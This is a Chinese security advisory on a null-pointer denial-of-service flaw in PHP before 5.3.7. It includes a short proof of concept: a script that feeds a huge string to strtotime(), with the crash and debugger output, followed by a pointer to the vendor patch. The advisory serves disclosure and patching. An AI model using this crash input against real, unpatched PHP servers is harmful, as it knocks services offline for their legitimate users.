PHP 5.3.7之前版本空指针引用拒绝服务漏洞
发布日期:2011-08-19
更新日期:2011-08-19
受影响系统:PHP PHP 5.x
不受影响系统:PHP PHP 5.3.7
描述:
BUGTRAQ ID:
49249
PHP是流行的脚本语言环境。
PHP 5.3.7之前版本在实现上存在空指针引用拒绝服务漏洞,远程攻击者可利用这些漏洞造成以PHP编写的应用程序崩溃,拒绝服务合法用户。
<*来源:Maksymilian Arciemowicz (
max@jestsuper.pl)
链接:
http://securityreason.com/achievement_securityalert/101
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
127# ulimit -m 100000
127# ulimit -v 100000
127# cat /www/strtotime.php
<?php
$strx=str_repeat("A",$argv[1]);
var_dump(strtotime($strx));
?>127#
127# /cxib/5371/build/bin/php /www/strtotime.php 33388888
Memory fault (core dumped)
127# gdb -q /cxib/5371/build/bin/php
(gdb) r /www/strtotime.php 33388888
Starting program: /cxib/5371/build/bin/php /www/strtotime.php 33388888
Program received signal SIGSEGV, Segmentation fault.
0x0806e8bd in add_error (s=0xbfbfcf90,
error=0x83ea7d8 "Double timezone specification")
at /cxib/5371/ext/date/lib/parse_date.c:355
355 s->errors->error_messages[s->errors->error_count -
1].position = s->tok ? s->tok - s->str : 0;
(gdb) print s->errors->error_messages
$1 = (struct timelib_error_message *) 0x0
(gdb) print s->errors->error_count
$2 = 1835009
建议:
厂商补丁:
PHP
---
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.php.net浏览次数:2873
严重程度:0(网友投票)